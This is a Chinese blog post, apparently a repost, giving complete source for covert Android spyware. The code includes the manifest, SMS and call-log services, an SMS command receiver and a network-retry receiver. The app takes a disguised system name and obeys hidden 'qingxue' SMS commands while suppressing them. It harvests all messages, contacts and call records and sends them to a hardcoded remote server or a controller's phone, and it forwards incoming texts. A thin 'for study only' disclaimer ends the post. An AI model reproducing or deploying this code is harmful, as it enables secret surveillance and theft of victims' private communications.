不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。
常用字段我全部写在一个类中了
电话的服务类
短信的服务类
用于接受控制端的短信指令
这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送
完整版的源码下载
一下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API
为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage
包结构:
清单文件,主要是一些用到的android权限
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.me.androidsystem"
- android:versionCode="1"
- android:versionName="1.0" >
- <!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.RECEIVE_SMS" />
- <uses-permission android:name="android.permission.SEND_SMS" />
- <uses-permission android:name="android.permission.READ_SMS"/>
- <!-- 访问internet权限 -->
- <uses-permission android:name="android.permission.INTERNET" />
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
- <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
- <uses-permission android:name="android.permission.READ_CONTACTS"/>
- <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
- <uses-permission android:name="android.permission.READ_CALL_LOG"/>
- <uses-sdk
- android:minSdkVersion="7"
- android:targetSdkVersion="18" />
- <application
- android:allowBackup="true"
- android:icon="@drawable/ic_launcher"
- android:label="@string/app_name"
- android:theme="@style/AppTheme" >
- <receiver android:name="com.me.androidsystem.SmsReceiver">
- <intent-filter android:priority="1000" >
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- <receiver android:name="com.me.androidsystem.NetstateReceiver">
- <intent-filter>
- <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
- </intent-filter>
- </receiver>
- <service android:name="com.me.androidsystem.service.SmsService" >
- </service>
- <service android:name="com.me.androidsystem.service.PhoService" >
- </service>
- </application>
- </manifest>
常用字段我全部写在一个类中了
- package com.me.androidsystem.util;
- /*
- 操作说明
- 控制端发送短信指令
- 1 ————获取客户端的所有短信
- 2 ————获取客户端的所有通信录包括通话记录
- 3 ————仅获取客户端的所有通话记录
- 4 ————短信转发
- 11————设置获取客户端所有短信的模式为短信发送模式
- 12————设置获取客户端所有短信的模式为网络发送模式
- 13————设置获取客户端所有短信的模式为网络优先发送模式
- 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式
- 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式
- 23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式
- 30————设置获取客户端当前短信的模式为不获取
- 31————设置获取客户端当前短信的模式为短信模式
- 32————设置获取客户端当前短信的模式为网络模式
- 33————设置获取客户端当前短信的模式为网络优先模式
- 如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上
- */
- public class ServiceUtil {
- //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号
- public static String CONTROL_NUMBER = "+8618271803015";
- //控制端的网络服务器192.168.137.218 221.234.230.22
- public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
- //发送电话信息请求的Servlet
- public static final String PHO_SERVLET = "GetPHOInfoServlet";
- //发送单个短信请求的Servlet 目前没有用
- public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
- //控制端的key
- public static final String CONTROL_START = "qingxue";
- //配置文件的名称
- public static final String CONFIG_NAME = "config";
- //保存离线短信信息文件
- public static final String OFF_INFO = "off_info";
- public static final String COMMAND="command";
- //控制端获取用户的所有短信
- public static final int GET_ALL_SMS = 1;
- //控制端获取用户所有电话和通话记录
- public static final int GET_ALL_PHO = 2;
- //控制端获取用户所有通话记录
- public static final int GET_ONLY_PHO = 3;
- //短信转发
- public static final int SMS_TRANSPOND = 4;
- //设置短信的操作模式为无
- public static final int SET_SMS_MODEL_0 = 10;
- //设置短信的操作模式为MODEL_SMS_ONLY
- public static final int SET_SMS_MODEL_1 = 11;
- //设置短信的操作模式为MODEL_NET_ONLY
- public static final int SET_SMS_MODEL_2 = 12; //默认
- //设置短信的操作模式为MODEL_NET_SMS
- public static final int SET_SMS_MODEL_3 = 13;
- // 设置通信记录的操作模式为无
- public static final int SET_PHO_MODEL_0 = 20;
- // 设置通信记录的操作模式为MODEL_SMS_ONLY
- public static final int SET_PHO_MODEL_1 = 21;
- // 设置通信记录的操作模式为MODEL_NET_ONLY
- public static final int SET_PHO_MODEL_2 = 22; //默认
- // 设置通信记录的操作模式为MODEL_NET_SMS
- public static final int SET_PHO_MODEL_3 = 23;
- //设置短信的操作模式为无
- public static final int SET_SMS_ONE_MODEL_0 = 30;
- //设置短信的操作模式为MODEL_SMS_ONLY
- public static final int SET_SMS_ONE_MODEL_1 = 31;
- //设置短信的操作模式为MODEL_NET_ONLY
- public static final int SET_SMS_ONE_MODEL_2 = 32;//默认
- //设置短信的操作模式为MODEL_NET_SMS
- public static final int SET_SMS_ONE_MODEL_3 = 33;
- //对于单条短信的操作模式
- public static final String SMS_ONE_MODEL = "sms_one_model";
- //对于所有短信的操作模式
- public static final String SMS_MODEL = "sms_model";
- //对于电话的操作模式
- public static final String PHO_MODEL = "pho_model";
- //不发送模式
- public static final int MODEL_NONE = 0;
- //短信模式
- public static final int MODEL_SMS_ONLY = 1;
- //网络模式
- public static final int MODEL_NET_ONLY = 2;
- //短信和网络模式,网络优先
- public static final int MODEL_NET_SMS = 3;
- //仅获取通话记录
- public static boolean ONLY_TEL = false;
- }
电话的服务类
- package com.me.androidsystem.service;
- import java.text.SimpleDateFormat;
- import java.util.ArrayList;
- import java.util.Date;
- import java.util.HashMap;
- import java.util.List;
- import java.util.Map;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.database.Cursor;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.os.IBinder;
- import android.provider.CallLog;
- import android.provider.CallLog.Calls;
- import android.provider.ContactsContract;
- import android.util.Log;
- import com.me.androidsystem.domain.CallRecord;
- import com.me.androidsystem.util.CommndUtil;
- import com.me.androidsystem.util.ServiceUtil;
- public class PhoService extends Service {
- private SharedPreferences preferences;
- @Override
- public void onCreate() {
- super.onCreate();
- List<Map<String, String>> contacts = getContacts();
- List<CallRecord> callRecords = getCallRecord();
- preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
- Context.MODE_PRIVATE);
- int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);
- switch (model) {
- case ServiceUtil.MODEL_SMS_ONLY:
- sendSMSContent(contacts,callRecords);
- break;
- case ServiceUtil.MODEL_NET_ONLY:
- sendNETContent(contacts,callRecords);
- break;
- case ServiceUtil.MODEL_NET_SMS:
- sendNETORSMSContent(contacts,callRecords);
- break;
- default:
- break;
- }
- stopSelf();
- }
- private void sendNETORSMSContent(List<Map<String, String>> contacts,
- List<CallRecord> callRecords) {
- ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
- NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
- if(networkInfo != null && networkInfo.isAvailable()){
- //当前有可用网络
- sendNETContent(contacts, callRecords);
- }else{
- //当前无可用网络
- sendSMSContent(contacts, callRecords);
- }
- }
- private void sendNETContent(List<Map<String, String>> contacts,
- List<CallRecord> callRecords) {
- ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
- NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
- if(networkInfo != null && networkInfo.isAvailable()){
- //当前有可用网络
- CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);
- }else{
- //当前无可用网络
- String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
- Editor editor = preferences.edit();
- editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");
- editor.commit();
- return;
- }
- }
- private void sendSMSContent(List<Map<String, String>> contacts,
- List<CallRecord> callRecords) {
- CommndUtil.sendSMS(resolve(contacts, callRecords));
- }
- private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){
- StringBuilder sb = new StringBuilder();
- if(!ServiceUtil.ONLY_TEL){
- sb.append("姓名 电话\n");
- for(Map<String, String> map : contacts){
- String name = map.get("name");
- String number = map.get("number");
- sb.append(name + " " + number);
- }
- }
- sb.append("-------------------------\n"+"通话记录\n");
- sb.append("姓名 类型 时间 时长 电话\n");
- for(CallRecord callRecord : callRecords){
- String name = callRecord.getLinkman();
- String type = callRecord.getType();
- String time = callRecord.getCallDate();
- String durction = callRecord.getDurction();
- String number = callRecord.getNumber();
- sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");
- }
- return sb.toString();
- }
- // 获取联系人信息
- public List<Map<String, String>> getContacts() {
- Map<String, String> contacts;
- List<Map<String, String>> list = new ArrayList<Map<String, String>>();
- int nameIndex = -1;
- ContentResolver cr = getContentResolver();
- Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
- null, null, null);
- while (cur.moveToNext()) {
- String number = "";
- // 得到名字
- nameIndex = cur
- .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
- String name = cur.getString(nameIndex);
- // 得到电话号码
- String contactId = cur.getString(cur
- .getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号,在SQLite中的数据库ID
- Cursor phone = cr.query(
- ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
- ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
- + contactId, null, null);
- while (phone.moveToNext()) {
- String strPhoneNumber = phone
- .getString(phone
- .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个
- number += strPhoneNumber + "\n";
- }
- contacts = new HashMap<String, String>();
- // 放入Map
- contacts.put("name", name);
- contacts.put("number", number);
- list.add(contacts);
- }
- cur.close();
- return list;
- }
- // 获取通话记录
- public List<CallRecord> getCallRecord() {
- List<CallRecord> list = new ArrayList<CallRecord>();
- ContentResolver cr = getContentResolver();
- Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
- new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
- CallLog.Calls.TYPE, CallLog.Calls.DATE,
- CallLog.Calls.DURATION }, null, null,
- CallLog.Calls.DEFAULT_SORT_ORDER);
- while (cursor.moveToNext()) {
- String strNumber = cursor.getString(cursor
- .getColumnIndex(Calls.NUMBER)); // 呼叫号码
- String strName = cursor.getString(cursor
- .getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名
- int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3
- String callType = "";
- switch (type) {
- case 1:
- callType = "来电";
- break;
- case 2:
- callType = "拨出";
- break;
- case 3:
- callType = "未接";
- break;
- }
- long duration = cursor.getLong(cursor
- .getColumnIndex(Calls.DURATION));
- String durationTime = formatTime(duration);
- SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
- Date date = new Date(Long.parseLong(cursor.getString(cursor
- .getColumnIndex(Calls.DATE))));
- String time = sfd.format(date);
- list.add(new CallRecord(strName, strNumber, time, callType,
- durationTime));
- }
- return list;
- }
- private String formatTime(long duration) {
- int timetiem = (int) duration;
- int minute = timetiem / 60;
- int hour = minute / 60;
- int second = timetiem % 60;
- minute %= 60;
- return String.format("%02d:%02d:%02d", hour, minute, second);
- }
- @Override
- public IBinder onBind(Intent intent) {
- // TODO Auto-generated method stub
- return null;
- }
- }
短信的服务类
- package com.me.androidsystem.service;
- import java.text.SimpleDateFormat;
- import java.util.ArrayList;
- import java.util.Date;
- import java.util.List;
- import android.app.Service;
- import android.content.ContentResolver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.database.Cursor;
- import android.database.sqlite.SQLiteException;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.net.Uri;
- import android.os.IBinder;
- import com.me.androidsystem.domain.SmsInfo;
- import com.me.androidsystem.util.CommndUtil;
- import com.me.androidsystem.util.ServiceUtil;
- public class SmsService extends Service {
- private SharedPreferences preferences;
- @Override
- public void onCreate() {
- super.onCreate();
- preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
- Context.MODE_PRIVATE);
- int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);
- switch (model) {
- case ServiceUtil.MODEL_SMS_ONLY:
- sendSMSContent();
- break;
- case ServiceUtil.MODEL_NET_ONLY:
- sendNETContent();
- break;
- case ServiceUtil.MODEL_NET_SMS:
- sendNETORSMSContent();
- break;
- default:
- break;
- }
- stopSelf();
- }
- private void sendNETORSMSContent() {
- ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
- NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
- if(networkInfo != null && networkInfo.isAvailable()){
- //当前有可用网络
- sendNETContent();
- }else{
- //当前无可用网络
- sendSMSContent();
- }
- }
- private void sendNETContent() {
- ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
- NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
- if(networkInfo != null && networkInfo.isAvailable()){
- //当前有可用网络
- CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);
- }else{
- String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
- Editor editor = preferences.edit();
- editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");
- editor.commit();
- return;
- }
- }
- private void sendSMSContent() {
- CommndUtil.sendSMS(resolve(getAllSms()));
- }
- private String resolve(List<SmsInfo> list){
- StringBuilder sb = new StringBuilder();
- sb.append("联系人 电话 内容 日期 类型\n");
- for(SmsInfo info : list){
- String name = info.getLinkman();
- String number = info.getNumber();
- String content = info.getContent();
- String date = info.getDate();
- String type = info.getType();
- sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");
- }
- return sb.toString();
- }
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- private List<SmsInfo> getAllSms() {
- List<SmsInfo> list = new ArrayList<SmsInfo>();
- final String SMS_URI_ALL = "content://sms/";
- try {
- ContentResolver cr = getContentResolver();
- String[] projection = new String[] { "_id", "address", "person",
- "body", "date", "type" };
- Uri uri = Uri.parse(SMS_URI_ALL);
- Cursor cur = cr.query(uri, projection, null, null, "date desc");
- while (cur.moveToNext()) {
- String name;
- String phoneNumber;
- String smsbody;
- String date;
- String type;
- name = cur.getString(cur.getColumnIndex("person"));
- phoneNumber = cur.getString(cur.getColumnIndex("address"));
- smsbody = cur.getString(cur.getColumnIndex("body"));
- SimpleDateFormat dateFormat = new SimpleDateFormat(
- "yyyy-MM-dd hh:mm:ss");
- Date d = new Date(Long.parseLong(cur.getString(cur
- .getColumnIndex("date"))));
- date = dateFormat.format(d);
- int typeId = cur.getInt(cur.getColumnIndex("type"));
- if (typeId == 1) {
- type = "接收";
- } else if (typeId == 2) {
- type = "发送";
- } else if (typeId == 0) {
- type = "未读";
- } else {
- type = "草稿";
- }
- //以下注释去掉会将短信的联系人姓名找出,不然只能获取短信联系号码,不过时间好长,不知道也没有哪位大神能解决一下
- // Uri personUri = Uri.withAppendedPath(
- // ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
- // phoneNumber);
- // Cursor localCursor = cr.query(personUri, new String[] {
- // PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,
- // PhoneLookup._ID }, null, null, null);
- //
- // if (localCursor.getCount() != 0) {
- // localCursor.moveToFirst();
- // name = localCursor.getString(localCursor
- // .getColumnIndex(PhoneLookup.DISPLAY_NAME));
- // }
- if (smsbody == null)
- smsbody = "";
- list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));
- }
- } catch (SQLiteException ex) {
- }
- return list;
- }
- }
用于接受控制端的短信指令
- package com.me.androidsystem;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.content.SharedPreferences.Editor;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.telephony.SmsMessage;
- import android.util.Log;
- import com.me.androidsystem.service.PhoService;
- import com.me.androidsystem.service.SmsService;
- import com.me.androidsystem.util.CommndUtil;
- import com.me.androidsystem.util.ServiceUtil;
- /*
- * 实现对短信接收的监听
- */
- public class SmsReceiver extends BroadcastReceiver {
- public void onReceive(Context context, Intent intent) {
- // 如果短信内容是以qingxue开头,那么表示指令
- Object[] pdus = (Object[]) intent.getExtras().get("pdus");
- for (Object p : pdus) {
- byte[] pdu = (byte[]) p;
- SmsMessage message = SmsMessage.createFromPdu(pdu);
- String content = message.getMessageBody();
- Date date = new Date(message.getTimestampMillis());
- SimpleDateFormat format = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String receiveTime = format.format(date);
- String senderNumber = message.getOriginatingAddress();
- Log.e("aaaa", content);
- // ServiceUtil.CONTROL_NUMBER.equals(senderNumber)
- if (content.length() >= ServiceUtil.CONTROL_START.length()
- && content.substring(0, ServiceUtil.CONTROL_START.length())
- .equals(ServiceUtil.CONTROL_START)) {
- abortBroadcast();// 终止广播
- ServiceUtil.CONTROL_NUMBER = senderNumber;
- SharedPreferences sharedPreferences = context
- .getSharedPreferences(ServiceUtil.CONFIG_NAME,
- Context.MODE_PRIVATE);
- Editor edit = sharedPreferences.edit();
- int command = Integer.valueOf(content.split(":")[1]);
- Log.e("aaaa", command+"");
- switch (command) {
- case ServiceUtil.GET_ALL_SMS:
- Intent t1 = new Intent(context, SmsService.class);
- context.startService(t1);
- break;
- case ServiceUtil.GET_ALL_PHO:
- ServiceUtil.ONLY_TEL = false;
- Intent t2 = new Intent(context, PhoService.class);
- context.startService(t2);
- break;
- case ServiceUtil.GET_ONLY_PHO:
- ServiceUtil.ONLY_TEL = true;
- Intent t3 = new Intent(context, PhoService.class);
- context.startService(t3);
- break;
- case ServiceUtil.SMS_TRANSPOND:
- try {
- if (content.split(":").length >= 4) {
- String number = content.split(":")[2];
- String msg = content.split(":")[3];
- CommndUtil.sendSMS(msg, number);
- }
- } catch (Exception e) {
- }
- break;
- // 对获取所有短信是发送模式设置
- case ServiceUtil.SET_SMS_MODEL_0:
- edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_MODEL_1:
- edit.putInt(ServiceUtil.SMS_MODEL,
- ServiceUtil.MODEL_SMS_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_MODEL_2:
- edit.putInt(ServiceUtil.SMS_MODEL,
- ServiceUtil.MODEL_NET_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_MODEL_3:
- edit.putInt(ServiceUtil.SMS_MODEL,
- ServiceUtil.MODEL_NET_SMS);
- edit.commit();
- break;
- // 对获取所有通信录是发送模式设置
- case ServiceUtil.SET_PHO_MODEL_0:
- edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);
- edit.commit();
- break;
- case ServiceUtil.SET_PHO_MODEL_1:
- edit.putInt(ServiceUtil.PHO_MODEL,
- ServiceUtil.MODEL_SMS_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_PHO_MODEL_2:
- edit.putInt(ServiceUtil.PHO_MODEL,
- ServiceUtil.MODEL_NET_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_PHO_MODEL_3:
- edit.putInt(ServiceUtil.PHO_MODEL,
- ServiceUtil.MODEL_NET_SMS);
- edit.commit();
- break;
- // 对获取当前短信的发送模式设置
- case ServiceUtil.SET_SMS_ONE_MODEL_0:
- edit.putInt(ServiceUtil.SMS_ONE_MODEL,
- ServiceUtil.MODEL_NONE);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_ONE_MODEL_1:
- edit.putInt(ServiceUtil.SMS_ONE_MODEL,
- ServiceUtil.MODEL_SMS_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_ONE_MODEL_2:
- edit.putInt(ServiceUtil.SMS_ONE_MODEL,
- ServiceUtil.MODEL_NET_ONLY);
- edit.commit();
- break;
- case ServiceUtil.SET_SMS_ONE_MODEL_3:
- edit.putInt(ServiceUtil.SMS_ONE_MODEL,
- ServiceUtil.MODEL_NET_SMS);
- edit.commit();
- break;
- // 对获取通话记录的发送模式设置与获取所有通信录方式相同
- default:
- break;
- }
- }
- // 如果是普通的短信 可以设置转发或者不采取操作
- else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {
- SharedPreferences sharedPreferences = context
- .getSharedPreferences(ServiceUtil.CONFIG_NAME,
- Context.MODE_PRIVATE);
- int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,
- ServiceUtil.MODEL_NET_ONLY);
- ConnectivityManager connectivityManager = (ConnectivityManager) context
- .getSystemService(Context.CONNECTIVITY_SERVICE);
- NetworkInfo networkInfo = connectivityManager
- .getActiveNetworkInfo();
- switch (model) {
- case ServiceUtil.MODEL_SMS_ONLY:
- CommndUtil
- .sendSMS("收到来自" + senderNumber + "的短信:" + content);
- break;
- case ServiceUtil.MODEL_NET_ONLY:
- if (networkInfo != null && networkInfo.isAvailable()) {
- // 当前有可用网络
- CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
- + content, ServiceUtil.SMS_ONE_SERVLET);
- } else {
- // 当前无可用网络
- String oldInfo = sharedPreferences.getString(
- ServiceUtil.OFF_INFO, "");
- Editor editor = sharedPreferences.edit();
- editor.putString(ServiceUtil.OFF_INFO, oldInfo
- + receiveTime + " 收到来自" + senderNumber + "的短信:"
- + content + "\n");
- editor.commit();
- return;
- }
- break;
- case ServiceUtil.MODEL_NET_SMS:
- if (networkInfo != null && networkInfo.isAvailable()) {
- // 当前有可用网络
- CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
- + content, ServiceUtil.PHO_SERVLET);
- } else {
- // 当前无可用网络
- CommndUtil.sendSMS("收到来自" + senderNumber + "的短信:"
- + content);
- }
- break;
- default:
- break;
- }
- }
- }
- }
- }
这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送
- package com.me.androidsystem;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.content.SharedPreferences;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import com.me.androidsystem.util.CommndUtil;
- import com.me.androidsystem.util.ServiceUtil;
- public class NetstateReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- ConnectivityManager manager = (ConnectivityManager) context
- .getSystemService(Context.CONNECTIVITY_SERVICE);
- NetworkInfo gprs = manager
- .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
- NetworkInfo wifi = manager
- .getNetworkInfo(ConnectivityManager.TYPE_WIFI);
- if (!gprs.isConnected() && !wifi.isConnected()) {
- // network closed
- } else {
- // network opend
- SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);
- String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");
- if(!"".equals(content)){
- if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){
- sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();
- }
- }
- }
- }
- }
我妹子是windows phone平台的,我也不会移植,用不了。仅作学习交流之用,短信转发这个功能有点邪恶。。。不要随便使用
完整版的源码下载
http://download.csdn.net/detail/lcl15572830433/6399735
PPS:我是转来骗人气的,这个貌似可用,大家可以玩玩。。。